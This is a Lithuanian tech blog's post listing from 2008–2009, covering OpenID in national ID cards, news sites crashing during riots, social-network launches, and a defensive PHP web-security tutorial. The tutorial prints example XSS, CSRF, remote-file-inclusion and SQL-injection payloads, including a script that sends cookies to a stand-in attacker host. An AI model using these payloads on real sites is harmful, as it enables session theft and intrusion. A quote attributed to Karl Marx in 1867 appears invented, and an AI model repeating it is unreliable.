Naujausi įrašai

Turinys

« 1 2 3 4 5 6 »

Vasaris04

Naujose asmens tapatybės kortelėse - skaitmeniniai sertifikatai ir OpenID palaikymas (Komentarai 16)

Žymės: saugumas,openid

Pasidalink!

OpenID

Nuo 2009 metų sausio išduodamose naujose asmens tapatybės kortelėse yra įmontuoti lustai, kuriuose įrašyti skaitmeniniai sertifikatai. Šios priemonės leis vartotojui identifikuoti save elektroninėje erdvėje. Vartotojų identifikavimui pasirinktas atviras OpenID protokolas, o OpenID tiekėjo serveris, panašu, jau veikiantis.

Iniciatyva sveikintina, o žinant, jog Estijoje ji jau veikia, reikia tikėtis, jog pasiteisins ir Lietuvoje.

Prisijungimas vyksta specialiu įrenginiu nuskaitant asmens tapatybės kortelėje esantį skaitmeninį sertifikatą ir įvedant slaptažodį, taip užtikrinant tikrą asmens tapatybę.

Ką gi visa tai reiškia?

  1. Pagaliau turėsime valstybiniu lygiu pripažintą technologiją, leidžiančią naudoti skaitmeninį parašą. Nebereikės būti prisirišus prie komercinių e-parašo tiekėjų. Ir galėsime e-parašu naudotis kiekvienas.
  2. Prisijungti prie valstybinių institucijų galėsime naudodamiesi vien savo asmens identifikavimo kortele. Dabar norint internetu pildyti deklaraciją, peržiūrėti SoDRos duomenis ar naudotis bet kuria kita valstybine e-paslauga, būtina turėti sąskaitą banke ir e-bankininkystės sutartį. Dabar to nebereikės - patvirtinti savo tapatybę nebereiks tarpinio žingsnio - komercinio nevalstybinio banko.
  3. Interneto tinklalapiai, naudojantys OpenID vartotojų autentifikacijai, galės gauti tikslius vartotojo duomenis: vardą, pavardę, gimimo datą etc. Taip bus atveriamos papildomos galimybės e-komercijai bei kitoms elektroninėje erdvėje teikiamoms paslaugoms, kurioms reikia patvirtinti vartotojo tapatybę.
  4. Atvirų pasauliniu lygiu pripažintų standartų adaptavimas rodo, jog Lietuva neatsilieka nuo pasaulinių tendencijų.

Informacijos šaltiniai:

My name is Arthur, althou I'm not an active OpenID EU member I
believe in OpenID convenience and promote and convince people to use
OpenID.
I though you might be interested in news I have for you.

Last year I did a presentation about OpenID for Lithuanian parliament,
which led to two workgroups within Lithuanian ministry of Inferior
(http://www.vrm.lt/index.php?id=124&lang=2) and Information Society
Development Committee under the Government of Lithuania
(http://www.ivpk.lt/main_en.php?cat=0). The result of these workgroups
was a decission to implement support and merge OpenID into new
Lithuanian Personal Identity Card
(http://www.dokumentai.lt/en/pic.php).

8 months ago I prepared OpenID specification for Ministry of Inferior
and today I can proudly present a new Lithuanian state Personal ID
card (http://www.dokumentai.lt/atk.php) with digital certificate
(x.509) and full OpenID 2.0 and PAPE extension support.

That said, starting January 1st 2009 every issued Personal ID card has
OpenID in it, backed up by personal digital certificate. National
Sertificate Center under the Ministry of Inferior will be the national
OpenID provider (https://openid.vrm.lt/). Provider service is currently
in testing mode, it is not yet open to the general public, but it will
go public anytime soon.

Information on sites I mentioned here might be in Lithuanian language
only, so should you have any questions - please do not hestitate to
ask me.

 

Sausis30

Karlo Markso pranašystė

Žymės: krizė,ekonomika,kapitalizmas,komunizmas

Pasidalink!

Kapitalizmas VS socializmas

"Owners of capital will stimulate working class to buy more and more of expensive goods, houses and technology, pushing them to take more and more expensive credits, until their debt becomes unbearable. The unpaid debt will lead to bankruptcy of banks, which will have to be nationalized, and State will have to take the road which will eventually lead to communism."

Karl Marx, 1867

Sausis16

Riaušės prie seimo - iššūkis tinklų administratoriams (Komentarai 4)

Žymės: delfi.lt,alfa.lt,balsas.lt,lrytas.lt

Pasidalink!

2009-01-16 popiet vykusio protesto metu į Lietuvos portalus suplūdo minios internautų, ieškančių paskutinių naujienų apie vykstančias riaušes.

Deja, daugeliui teko nusivilti, kuomet daugelis portalų tapo nepasiekiami - serveriai neatlaikė ženkliai išaugusio užklausų kiekio.

Populiausias Interneto portalas "Delfi" buvo nepasiekiamas:

delfi.lt

Be pagrindinio serverio lūžo ir statinį turinį aptarnaujantys Delfi.lt, Lrytas.lt (net spartusis web-serveris nginx smigo) bei Balsas.lt serveriai:

delfi.lt lrytas.lt Balsas.lt

Taip pat buvo galima pamatyti ir užsklandas, jog serveriuose atliekama techninė profilaktika, arba vykdomi atnaujinimo darbai (et, kaip nelaiku):

delfi.lt alfa.lt

Stengdamesi sumažinti serverio apkrautumą, Alfa.lt kuriam laikui buvo įkėlę statinę straipsnio versiją (beje, išsaugotą iš MS Word - et, kaip neprofesionalu...):

alfa.lt

Tokie atvejai tik parodo, kokie neoptimizuoti didelėms apkrovoms yra lietuviški interneto tinklalapiai. Taigi egzistuoja reali grėsmė, jog įvykdžius DoS atakas gali būti sutrikdytas šių sistemų darbas...

Nulūžusių naujienų portalų galerija.

Gruodis23

Klase.lt - iš naujo (Komentarai 2)

Žymės: klase.lt

Pasidalink!

Klase.lt

Socialinis tinklas klase.lt nuo šiandien lankytojus pasitinka nauja išvaizda bei galimybėmis.

Nuo pat tinklalapio veikimo pradžios tai - visiškai iš naujo sukurta versija.

Per beveik metus trukusią projektavimo bei programavimo stadiją buvo atlikta per 1000 skirtingų užduočių, sukurtas naujas dizainas, sumažintas vartotojus erzinančių reklamų kiekis.

Naujojoje versijoje išliko tie patys bendravimo įrankiai su klasiokais bei grupiokais. Socialiniai veiksniai išplėtoti įkuriant naują skyrelį "Klubai", o ir pats bendravimas koncentruotas į patį vartotoją, o ne tik į socialines grupes. Vartotojui suteikiama saviraškos laisvė - vartotojas gali kurti savo apklausas, rašyti tinklaraštį (deja, kol kas nėra RSS prenumeratos), kurti fotoalbumus. Labiau išreikštas ir bendravimas su draugais, savo socialinės aplinkos kūrimas.

Vis dėlto, kol kas tai yra "Beta" versija, todėl nenumatytų klaidų galimybė yra tikėtina, tačiau reikia tikėtis, jog artimiausiu metu jos bus ištaisytos ir klase.lt taps pilnaverte bendravimo ir saviraiškos erdve.

Nuoroda: klase.lt tinklaraštis.

Gruodis14

Interneto naršyklių saugumo žinynas

Žymės: saugumas

Pasidalink!

Neseniai Google išplatino Interneto naršyklių saugumo žinyną. Žinomo lenkų hakerio ir saugumo eksperto Michalo Zalewskio redaguojamame žinyne apžvelgiamos populiariausios Interneto naršyklės įvairiais saugumo aspektais, lyginamas jų atsparumas įvairioms atakoms. Neabejotinai naudingas šaltinis besidomintiems Interneto tinklalapių saugumu.

Gruodis12

Ekonomikos krizė įmonėse

Žymės: yahoo,krizė,ekonomika,citigroup,xerox,fail,ford,lg,nike,ferrari,cisco,fiasco,dow jones,down jones,bad year,good year,nokia,dell,chrysler,crisisler,2m,3m,apple

Pasidalink!

Pasaulinė krizė verčia įmones perdaryti savo logotipus.

 

Gruodis09

Google Friend Connect - sociali platforma tinklalapiams

Žymės: google,facebook,friend connect,facebook connect

Pasidalink!

Google Friend Connect

Didžiųjų Interneto servisų bei socialinių tinklų tarpusavio kovoje matoma akivaizdi tendencija - plėtra į kitus tinklalapius. Panašūs principai, beveik identiški servisų starto laikai, panašūs net pavadinimai: Facebook paleido "Facebook Connect", Google - "Friend Connect". Šįsyk plačiau apie pastarąjį.

Google nusitaikė į mėgėjiškų vartotojų ratą. "Friend Connect" įdiegimas į tinklalapį nereikalauja jokių programavimo žinių. Į tinklalapį įterpiami Javascript kodai sugeneruoja visą reikiamą vaizdą ir realizuoja funkcionalumą.

Prie "Friend Connect" prisijungti gali kiekvienas vartotojas, turinti Google ar OpenID paskyrą. Toks žingsnis yra logiškas ir priimtinas, siekiant atvirais standartais kovoti prieš kur kas agresyviau besielgiantį "Facebook".

Šiuo metu į tinklalapius gali būti įterpti šios aplikacijos:

  • Narių sąrašas
  • Prisijungimo forma
  • Wall (siena/svečių knyga)
  • Review/Rate (viso tinklalapio ar atskiro puslapio reitingavimas bei komentavimas)
  • Kita sava "OpenSocial" aplikacija.

OpenSocial naudojimas - taipogi svarbus žingsnis palaikant atviruosius standartos (nors ir inicijuotus paties Google). Žinant, jog OpenSocial aplikacijų platformą palaiko dauguma socialinių tinklų (žinoma, išskyrus Facebook), "Friend Connect" gali sulaukti sėkmės.

Vis dėlto, nepaisant šių teigiamų dalykų, kol kas nedėčiau šių aplikacijų į savo tinklalapį. Pagrindinė to priežastis - visiška priklausomybė nuo vieno serviso tiekėjo. Tiek vartotojų tapatybė, tiek visa vartotojų sukurta informacija bus saugoma ir disponuojama per Google. Kad ir kaip pasitikėčiau ir gerbčiau šį IT gigantą, noras pačiam kontroliuoti situaciją daro savo. Tačiau tinklalapiuose, kurie neturi savo vartotojų, kurie nepasirengę investuoti į socialinių veiksnių kūrimą ir diegimą, tinklaraščiuose, "Friend Connect" gali padėti sukurti papildomą vertę.

Kitame rašinyje pasistengsiu apžvelgti panašią sistemą "Facebook Connect"

Lapkritis04

Jungiamės naudodamiesi Google (OpenID) (Komentarai 2)

Žymės: google,openid,cards.lt

Pasidalink!

Neseniai Google įdiegė OpenID palaikymą į savo servisus. Tai leidžia prie OpenID palaikančių tinklalapių jungtis naudojantis Google paskyras turintiems vartotojams. Deja, kol nedaugelis tinklalapių tai leidžia.

Visgi, kaip tai veikia, galime pažiūrėti cards.lt tinklalapyje:

1. Tinklalapyje, kuriame leidžiama prisijungti su Google paskyra, pasirenkame punktą "Prisijungti su GMail".

Prisijungimo forma

2. Jei nesame prisijungę prie savo Google paskyros, matome prisijungimo langą. Prisijungiame:

Google prisijungimo forma

3. Patvirtiname, kad leidžiame prisijungti prie tinklalapio:

Google OpenID patvirtinimas

4. Naudojamės vartotojams skirtomis funkcijomis.

OpenID vartotojų zona

Spalis30

Microsoft, Google ir OpenID VS Facebook Connect (Komentarai 1)

Žymės: google,microsoft,openid,facebook,yahoo

Pasidalink!

OpenID

Paskutiniu metu stambiosios kompanijos itin aktyviai ėmė rodyti iniciatyvą leisti vartotojams, turintiems prieigas (accounts) prie savo servisų, prisijungti prie kitų Interneto svetainių.

Idėja atsisakyti skirtingų prisijungimo duomenų yra realizuota OpenID standartu, kurį jau kuris laikas naudoja Yahoo kompanija.

Dabar ir Microsoft paskelbė, kad prisijungia prie OpenID iniciatyvos, taip suteikdama 400 milijonų "Windows Live ID" savo vartotojų naudotis tinklalapių, palaikančių OpenID standartą, paslaugomis. Tiesa, kol kas sistema dar testuojama, tačiau tai, jog Microsoft vadina OpenID de facto standartu, suteikia itin didelę svarbą OpenID standartui.

Po poros dienų ir Google pranešė, palaikysianti vieningo prisijungimo standartą OpenID. Tiesa, kol kas tinklalapiams reikia užsiregistruoti ir laukti Google malonės, kad būtų galima leisti Google vartotojams prisijungti prie vieno ar kito tinklalapio. Be to, Google naudos modifikuotą OpenID standartą, atsisakant kai kurių OpenID principų. Visgi, sistema kol kas nėra išbaigta ir ateityje galbūt matysime pilnavertį OpenID palaikymą.

Nepaisant šių džiugių žinių, atrodo, jog Microsoft ir Google skubėjimą skatina analogiškos Facebook OpenID alternatyvos "Facebook Connect" startas lapkričio 30. Facebook, turėdama daugybę registruotų vartotojų ir didžiulę savanorių armiją, nori šioje srityje atsiriekti ir savo dalį. Vis dėlto, prisirišimas prie vieno centralizuoto tapatybės tiekėjo gali sukelti tinklalapiams problemų, jei, kuriuo nors metu, Facebook sugalvotų nutraukti Connect paslaugą ar ją apmokestinti, dėl to, stambiųjų kompanijų iniciatyva palaikyti atvirus standartus yra sveikintina, kovojant su Facebook dėl vietos po saule.

Nors Lietuvoje Facebook kol kas nėra lyderis, veiksmai atsiriboti nuo atvirų standartų rodo, jog jie elgiasi, kaip rinkos (socialinių tinklų) lyderis: atsisakymas palaikyti OpenID standartą bei OpenSocial aplikacijų platformą. Tai verčia net ir aršiausius konkurentus - Google, Yahoo, Microsoft - susivienyti ir, naudojant atvirus standartus, skatinti atviro Interneto idėjų plėtrą.

Šie veiksniai duoda naudą tiek Interneto servisams, tiek tinklalapiams, tiek ir vartotojams. Interneto servisai augina vertę, leisdami vartotojams migruoti su savo duomenimis tarp įvairių tinklalapių, kuriems, savo ruožtu, nėra būtina versti vartotojams registruotis, norint naudotis savo paslaugomis - vartotojai gali prisijungti, naudodami savo patikimą Interneto tabatybės tiekėją. Tiesa, stambiausi tiekėjai patys nesuteikia galimybės prie savo servisų jungtis atvirais standartais (pvz.: prie GMail'o neprisijungsi su savo Yahoo ID), bet vartotojui atsirandančios papildomos galimybės bei arši konkurencija neabejotinai didina komfortą.

Spalis27

Tinklalapių saugumas (Komentarai 7)

Žymės: php,saugumas,xss,csrf

Pasidalink!

:X

Šiame straipsnyje aprašomos tinklalapių saugumo skylės, pateikiant jų panaudojimo pavyzdžius bei apsisaugojimo būdus. Aptariamos šios atakos:

  • XSS (Cross-site scripting)
  • UTF-7 XSS
  • Cookie/session hijacking
  • CSRF (Cross-site request forgery)
  • Code injection: Directory traversal/Remote file inclusion
  • Malicious file upload
  • HTTP Redirect išnaudojimas
  • SQL injection.

Pavyzdžiai pateikiami PHP programavimo kalba.

Ataka: XSS (Cross-site scripting)

Kaip vykdoma ataka

Ataka vykdoma tuo atveju, kai pagal vartotojo įvestus duomenis formuojamas puslapio turinys (pvz.: rašant komentarus, pasisakymus, netikrinami duomenys vartotojo varduose, pavardėse, atliekant paiešką ir pan.).
Tinklalapis yra pažeidžiamas tuo atveju, kai rodant vartotojo duomenis galima įvykdyti Javascript kodą.
Pavyzdžiui, atliekant įrašą tinklalapio svečių knygoje įvedamas tekstas: <script>alert('You\'ve been hacked!')</script>
Analogiškas tekstas bus rodomas formuojant HTML turinį, tuo pačiu įvykdant ir kodą.
Analogiška situacija yra vykdant paiešką ir, pavyzdžiui, ieškant teksto su HTML tag'ais. Jei paieškos rezultate parodoma ieškota frazė su visu HTML'u tokį puslapį galima panaudoti perimant vartotojo slapuką ir sesiją (cookie/session hijacking).
Leidžiant įvesti kai kuriuos HTML elementus (pvz.: IMG, A, B, I...) galima pridėti atributą (pvz.: onmouseover) ir įvykdyti Javascript kodą.

Kaip apsisaugoti nuo atakos

Paprasčiausias metodas - neleisti apskritai įvesti HTML kodo, o vietose, kur rodomas vartotojo įvestas tekstas, jį strip'int naudojant strip_tags() ar htmlspecialchars().
Jei sistemoje yra leidžiama įvesti kai kuriuos HTML elementus, būtina išvalyti Javascript event'ų atributus (prasidedančius "on..."). Tam galima naudoti išorinę programą "Tidy" arba naudoti reguliarias išraiškas.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Cross-site_scripting

Ataka: UTF-7 XSS

Kaip vykdoma ataka

Ataka vykdoma pasinaudojant naršyklės savybe "nuspėti" naudojamą simbolių rinkinį.
UTF-7 leidžia bet kokį simbolį išreikšti ASCII simboliais, o naršyklė bandydama nuspėti, kokia koduotė naudojama, UTF-7 užkoduotus simbolius gali paversti į reprezentuojamus simbolius, kurie leidžia įvykdyti ataką.
Pavyzdžiui, UTF-7 koduotėje simbolis < žymimas +ADw, o simbolis > +AD4. Tokiu atveju formuojant antraštę (TITLE) iš simbolių:
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
bus gaunamas realus vaizdas:
<script>alert(document.location)</script>
Tai suteikia galimybę įvykdyti Javascript kodą.

Kaip apsisaugoti nuo atakos

Visada siųsti koduotės nustatymus prie HTTP antraštės, pvz.:
header('Content-type: text/html; charset=UTF-8');
Prieš bet kokį dinamiškai formuojamą tekstą (pvz.: TITLE elementą), įrašyti koduotę nustatančią eilutę, pvz.:
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
Plačiau: http://openmya.hacker.jp/hasegawa/security/utf7cs.html

Ataka: Cookie/session hijacking

Kaip vykdoma ataka

Ataka remiasi tinklalapio XSS pažeidžiamumu. Jos esmė - naudojant išorinį elementą gauti vartotojo slapuką, kuriame įrašytas sesijos ID.
Pavyzdžiui, įterpus elementą:
<div onmouseover="document.getElementById('a').innerHTML='<img src=http://kenkejiskas-saitas.com/vagiam-cookie.php?'+document.cookie+' width=0 height=0/>'" style="height: 100px"></div>
<div id="a" />

Užvedus pelyte ant pirmojo bloko, bus įvykdomas Javascript kodas, kuris užkraus skriptą ir perduos jam visus slapukų duomenis (pastarieji gali būti išsiunčiami el. paštu ar kitaip perduodami), kartu ir sesijos ID. Piktavaliui užtenka pačiam įdėti slapuką su sesijos duomenimis ir jis jau bus prisijungęs prie sistemos kaip kitas vartotojas.
Sesijos ID gali būti perimamas ir tuo atveju, jei vartotojo naršyklė nepalaiko slapukų. Tokiu atveju PHP automatiškai prideda sesijos ID prie kiekvienos nuorodos ir kaip HIDDEN lauką formose.

Kaip apsisaugoti nuo atakos

Vartotojui prisijungiant, reikia išsaugoti IP adresą, iš kurio vartotojas jungiasi. PHP $_SERVER masyve IP adresą reprezentuoja REMOTE_ADDR ir HTTP_X_FORWARDED_FOR (jei naudojamasi Proxy serveriu) elementai.
Kaskart atliekant užklausą į serverį reikia patikrinti, ar užklausa įvykdoma iš to paties IP (bei IP forwarded) adreso. Jei reikšmės nesutampa, neleidžiama atlikti jokio veiksmo, o sesija panaikinama.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Session_fixation, http://en.wikipedia.org/wiki/Session_hijacking, http://en.wikipedia.org/wiki/Session_poisoning, http://en.wikipedia.org/wiki/Cross-site_cooking

Ataka: CSRF (Cross-site request forgery)

Kaip vykdoma ataka

Tarkime, žinoma, jog vartotojas yra prisijungęs prie kažkokio interneto tinklalapio.
Taipogi žinoma, kokia nuoroda kokį veiksmą atlieka. Pagal turimas žinias suformuojama nuoroda, kuri atlieka atitinkamą veiksmą ir nematomai patalpinama kažkokiama tinklalapyje. Pavyzdžiui:
<img src="http://www.bankas.com/pervesti-pinigus?i-saskaita=1234&amp;suma=1000Lt" />
Tuomet vartotojui pasiūloma apsilankyti kenkėjišką kodą turinčiame tinklalapyje. Ir vartotojui nepastebint, įvykdomas atitinkamas veiksmas.
POST metodas negelbsi, kadangi kenkėjiškame puslapyje gali būti ir automatiškai įvykdoma forma, ir IFRAME elementas. Tikrinti HTTP_REFERER taipogi neefektyvu, kadangi šiuos duomenis galima suklastoti.

Kaip apsisaugoti nuo atakos

Efektyvus sprendimas yra kiekvienam veiksmui generuoti atsitiktinę simbolių seką (žetonus - token'us), kuri, vykdant nuorodą, patikrinama. Tokiu atveju saugi nuoroda atrodytų taip: http://www.bankas.com/pervesti-pinigus?i-saskaita=1234&suma=1000Lt&token=Jdf1S19cQ, kurios paskutinis elementas kaskart būtų skirtingas. Analogiškai token'ai turėtų būti įterpiami į formas HIDDEN laukų pavidalu.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Cross-site_request_forgery

Ataka: Code injection: Directory traversal/Remote file inclusion

Kaip vykdoma ataka

Ataką galima įvykdyti, kai sisteminiuose failuose atidaromi ar iškviečiami failai, kurių pavadinimas generuojamas iš vartotojo įvedamų duomenų.
Pavyzdžiui, URL: http://www.example.com/modulis=straipsnis
PHP skriptas:
include($_GET['modulis'].'.php');
Tokiu atveju URL pakeitus į http://www.example.com/modulis=http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas
bus įvykdomas skriptas iš http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas.php
Analogiškai galima iškviesti bet kokią programą ar įtraukti bet kokį failą, esantį tame pačiame serveryje (pavyzdžiui, iškviečiant /etc/passwd)
Taip pat galima užkrėsti ir vartotojo slapukus, todėl negalima aklai pasitikėti ir juose saugomų duomenų tikrumu.

Kaip apsisaugoti nuo atakos

Išvalyti vartoto įvestus duomenis, paliekant TIK simbolius, esančius range [A-Za-z0-9_-]. Taip pat patikrinti, ar vartotojui leidžiama iškviesti atitinkamą kodą. Pavyzdžiui:
$moduliai = array('straipsnis', 'naujiena');
if(in_array($_GET['modulis'], $moduliai))
    echo 'OK';
else
    exit('Toks modulis neegzistuoja');
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Code_injection, http://en.wikipedia.org/wiki/Directory_traversal, http://en.wikipedia.org/wiki/Remote_File_Inclusion

Ataka: Malicious file upload

Kaip vykdoma ataka

Naudojantis failo įkėlimo forma, įkeliamas skriptas, kuris įvykdomas per naršyklę. Toks skriptas sistemoje gali atlikti bet kokį darbą - nuo failų bei duomenų bazės informacijos nuskaitymo, įrašymo, modifikavimo iki visiško sunaikinimo.

Kaip apsisaugoti nuo atakos

Visada tikrinti įkeliamo failo MIME tipą ir leisti įkelti tik patikimus failų formatus.
Taip pat naudojant trečių šalių aplikacijas (pvz.: WYSIWYG redaktorius) pašalinti DEMO puslapius, kurie leidžia neribotai naudotis sistema. Vertėtų pasirūpinti, kad neprisijungusiems vartotojams nebūtų galima naudotis trečių šalių programomis (tam gali tekti modifikuoti pačią sistemą ir nepamiršti to atnaujinant sistemą į naujesnę versiją).

Ataka: HTTP Redirect išnaudojimas

Kaip vykdoma ataka

Siunčiant HTTP header'į "Location", naršyklė atveria nurodytą tinklalapį, vartotojui nerodydama HTML kodo, net jei jis perduodamas.
Visgi, jei HTML kodas yra perduodamas, jį galima gauti naudojant CURL biblioteką, taip gaunant papildomos informacijos (paprastam vartotojui nematomas nuorodas, tekstą ir pan.), kas gali palengvinti įsilaužimą į sistemą.

Kaip apsisaugoti nuo atakos

Po kiekvieno HTTP redirect'o, naudojant header('Location: ...'); baigti skripto vykdymą su exit();

Ataka: SQL injection

Kaip vykdoma ataka

Formuojant SQL užklausą dažnai tenka į ją įtraukti duomenis, kuriuos perduoda vartotojas.
Pavyzdžiui, kviečiant užklausą http://example.com/getUserData.php?user=59 turi būti formuojama tokia SQL užklausa:
SELECT * FROM users WHERE id=59
Tiesiogiai paimant duomenis su PHP eilutė atrodytų taip:
$result = mysql_query('SELECT * FROM users WHERE id='.$_GET['id']);
Vietoje parametro "id" perduodant kenksmingą kodą galima suformuoti bet kokią užklausą, pvz.:
http://example.com/getUserData.php?user=59 OR 1=1 - bus sugeneruota užklausa, kuri gražins visus įrašus iš duomenų lentelės.
Panaudojant SQL injection atakas galima ne tik gauti, bet ir modifikuoti duomenis bei nuskaityti duomenis, esančius failuose.

Kaip apsisaugoti nuo atakos

Tam, kad apsisaugoti nuo šio tipo atakų, reikia patikrinti kiekvieną argumentą, perdudodamą SQL užklausai.
Galima naudoti PHP funkciją mysql_real_escape_string(), o skaitinėms reikšmėms patikrinti, ar tai tikrai skaičius, naudojant is_numeric() arba typecast'inant kintamąjį į skaičių, naudojant settype() arba (int)$kintamasis;
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/SQL_injection

« 1 2 3 4 5 6 »

Įrašų RSS Įrašų RSS